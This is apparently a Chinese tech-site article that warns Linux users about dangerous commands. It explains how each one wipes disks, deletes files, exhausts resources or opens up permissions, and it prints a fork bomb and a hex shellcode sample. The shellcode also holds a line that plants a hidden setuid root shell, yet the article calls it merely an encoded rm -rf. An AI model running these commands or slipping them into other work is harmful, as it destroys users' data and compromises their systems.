在Linux你拥有的工具使你能够控制和修改操作系统的每一个方面。但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。
想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。
这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座。
随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。
同样,如果你知道一些已知的风险命令,你可能会避免落入陷阱,他们试图欺骗你运行命令,扰乱你的系统。
当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。
这里我们与你分享一些流行危险的Linux命令。让我们看看它们是如何干掉你的 Linux 系统的。
rm -rf /*
这个可能是在各种社交媒体上出现的最多的命令。你会经常发现大佬们在各种讨论中提及这个。
rm 命令用于删除文件或者目录。选项-r
和-f
表示递归地删除指定目录内的所有文件。如果没有root权限,这个命令造成任何伤害不大。
运行命令sudo rm -rf /
也不会产生任何问题,因为大多数发行版提供一个故障安全选项。你需要指定--no-preserve-root
才能运行它。
它递归地删除根目录的所有文件,在一段时间后,你的系统会被冻结,并显示删除文件错误。重新启动系统,你将被送到grub-rescue提示符。
sudo rm -rf / --no-preserve-root
sudo rm -rf /*
覆盖你的分区
如果你熟悉文件系统,你可能知道/dev/sda
是什么。通常是你的磁盘驱动器。重定向操作符>
用于将其前面命令的标准输出写入指定设备文件。
但是你可能会在运行命令时把它写到/dev/sda
。例如你可能会运行命令echo "Hello" > /dev/sda
。
命令将会把Hello
字符串替换/dev/sda
驱动器的所有数据,/dev/sda
驱动器数据也就丢失。
echo "Hello" > /dev/sda
标准输入,标准输出,标准错误与重定向 | myfreax
0表示标准输入。1表示标准输出。2标准错误。您可以使用这些文件描述符来控制程序或者脚本的输入和输出
myfreaxmyfreax
标准输入,标准输出,重定向
把所有移动到/dev/null
在每个Linux系统内都有一个空设备文件。而这个空设备文件就是/dev/null
。通常称它为黑洞。
无论你把什么东西移动这个这个文件都会永远丢失。而且它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。
mv 命令用来移动或重命名文件/目录。命令mv /home/user/* /dev/null
把家目录内的所有文件都移到黑洞。虽然系统没有被破坏,但你所有的个人数据都会丢失。
mv /home/user/* /dev/null
Linux mv命令移动文件与目录 | myfreax
移动文件和目录是您在Linux系统上经常需要执行的最基本的任务之一。在本教程中,我们将说明如何使用mv命令移动文件和目录。
myfreaxmyfreax
mv 命令移动文件
格式化硬盘
mkfs是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为你创建分区。
但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。
命令mkfs.ext3 /dev/sda
完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。
mkfs.ext3 /dev/sda
如何创建磁盘分区在Linux | myfreax
安装新的SSD或硬盘后,您需要做的第一件事就是对其进行分区。每个驱动器至少需要一个分区,然后才能对其进行格式化并在其中存储文件
myfreaxmyfreax
fdisk命令创建分区
fork 炸弹
:(){ :|:& };:
这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。
&
是Shell后台操作符。它通知Shell将命令放在后台运行。在这里定义一个叫做 :
的函数。
它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。
顾名思义,它会自己fork,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像中其他命令那样糟糕。
:(){ :|:& };:
覆盖重要的配置文件
>
虽然这本身不是一个命令,但它更像是一个预防性的东西。如上所述,>
操作符是用来向文件写入内容。
>
操作符重写文件中已经存在的数据,并将提供的新数据写入文件中。如果你将一些重要的配置文件作为写数据的地方,原始配置将会丢失,留下一个损坏的系统。
command > config_filename
用垃圾数填充换分区
/dev/random是Linux 的一个命令,它可以创建垃圾数据。把它和dd命令以及你的分区组合起来,你就得到了一个可以让你的分区爆炸的燃烧弹。
dd命令被用作一个低级别的复制工具。在这里它从/dev/random
中获取随机数据,并用这些垃圾数据替换/dev/sda
分区。
另一个实现类似效果的命令是cat /dev/urandom > filename
,在这里它从 /dev/urandom
获取随机数据并写入一个文件。
如果不使用 Ctrl + C
终止,文件会占据相当大的空间,这对低端系统来说可能是灾难性的。
/dev/urandom
和/dev/random
是一样的设备文件
dd if=/dev/random of=/dev/sda
cat /dev/urandom > filename
Linux cat命令技巧与详解 | myfreax
cat命令是Linux中最常用的命令之一,cat命令的名称来自于concatenate。cat最常用于打印一个或多个文本文件的内容
myfreaxmyfreax
将系统暴露所有人
在Linux,所有东西都是文件,每个 文件都有一定的权限。你可以运行ls命令ls -l
查看权限。
根文件系统是不允许没有权限的用户访问的。虽然这保证系统的私密性和安全性,但你可以用一个命令颠覆这个系统。
命令chmod -R 777 /
将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。
chmod -R 777 /
Linux chmod 命令修改文件目录权限 | myfreax
在Linux,通过文件权限,属性和所有权来管理对文件的访问
myfreaxmyfreax
下载并运行恶意的内容
你如何在Linux中安装软件?你可以使用官方的软件包管理器,或者使用低级别的包管理工具如Deb/RPM、Snap、Flatpak等。
然而有些软件是没有打包的分发的,它们的开发者提供下载和安装Shell脚本。你下载一个Shell文件,然后以root用户运行它。
这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。
伪装的命令
在Linux终端,有许多方法可以运行命令。其中一种方式是十六进制编码的命令。
虽然它看起来很花哨,但这是rm -rf
命令另一个编码版本。它的效果与运行前面的命令相同。
因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。因为归根结底,还是要靠用户来保证,不要盲目地运行任何危险的命令而破坏系统。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么UNIX的工作就是以它所知道的最有效的方式将石头砸到脚上。
-
Linux
+关注
关注
87文章
11219浏览量
208872 -
操作系统
+关注
关注
37文章
6727浏览量
123181 -
命令
+关注
关注
5文章
678浏览量
21981
发布评论请先 登录
相关推荐
评论